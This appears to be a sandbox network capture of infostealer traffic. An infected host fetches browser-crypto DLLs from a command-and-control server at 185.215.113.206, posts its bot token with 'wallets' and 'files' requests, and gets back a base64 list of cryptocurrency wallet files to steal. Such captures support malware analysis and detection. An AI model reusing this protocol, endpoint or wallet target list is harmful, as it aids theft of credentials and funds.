74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="file"------IDGIJEGHDAECAKECAFCA--
Dec 9, 2024 18:20:32.964556932 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:33.276007891 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:33.928508043 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 9, 2024 18:20:33.928522110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 9, 2024 18:20:33.929049015 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 9, 2024 18:20:33.929065943 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 9, 2024 18:20:33.929078102 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 9, 2024 18:20:33.929908037 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 9, 2024 18:20:33.929913998 CET	776	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 9, 2024 18:20:33.929918051 CET	1236	IN	Data Raw: c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 08 09 c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 Data Ascii: MEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf
Dec 9, 2024 18:20:33.929920912 CET	1236	IN	Data Raw: 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 Data Ascii: Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]
Dec 9, 2024 18:20:33.935739040 CET	1236	IN	Data Raw: 18 ff ff ff 8b 75 b4 01 ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff 31 f0 89 85 64 ff ff ff 8b 4d ec 03 4d 94 89 4d ec 8b 55 e0 11 c2 89 55 e0 31 cf 8b 75 98 31 d6 Data Ascii: uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]d1]1U]uuEE11E}tBP`MBTD]H
Dec 9, 2024 18:20:33.935753107 CET	1236	IN	Data Raw: c3 31 ca 89 d8 0f a4 d0 08 0f a4 da 08 8b 75 b8 03 b5 74 ff ff ff 8b 5d f0 13 9d 50 ff ff ff 01 d6 89 75 b8 11 c3 89 5d f0 8b 4d a8 31 d9 31 f7 89 fe 0f a4 ce 10 89 b5 58 ff ff ff 0f ac cf 10 89 bd 78 ff ff ff 8b 5d ec 01 fb 89 5d ec 8b 4d e0 11 Data Ascii: 1ut]Pu]M11Xx]]MM11\|}$E\]}UEM1Mu1}}EE11}0M,}M1M1u
Dec 9, 2024 18:20:35.542457104 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:35.980901957 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 9, 2024 18:20:36.972624063 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:37.419068098 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 9, 2024 18:20:38.213082075 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:38.665010929 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 9, 2024 18:20:42.149905920 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:42.586528063 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 9, 2024 18:20:43.246964931 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 9, 2024 18:20:43.694259882 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 9, 2024 18:20:44.782974005 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIE Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 18:20:45.888442993 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:45.948890924 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="message"wallets------HIJEGDBGDBFIJKECBAKF--
Dec 9, 2024 18:20:46.390119076 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 9, 2024 18:20:46.392944098 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHCBAAEHCFIDGDHJEHC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 43 42 41 41 45 48 43 46 49 44 47 44 48 4a 45 48 43 2d 2d 0d 0a Data Ascii: ------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="token"d98a26f08ea8b58cf2ac9c4fd8c1f446847d6b47f25a6b6128e0eb98500c2ed88695ff22------DGHCBAAEHCFIDGDHJEHCContent-Disposition: form-data; name="message"files------DGHCBAAEHCFIDGDHJEHC--
Dec 9, 2024 18:20:46.833412886 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:20:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 18:20:47.153337955 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 38 61 32 36 66 30 38 65 61 38 62 35 38 63 66 32 61 63 39 63 34 66 64 38 63 31 66 34 34 36 38 34 37 64 36 62 34 37 66 32 35 61 36 62 36 31 32 38 65 30 65 62 39 38 35 30 30 63 32 65 64 38 38 36 39 35 66 66 32 32 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 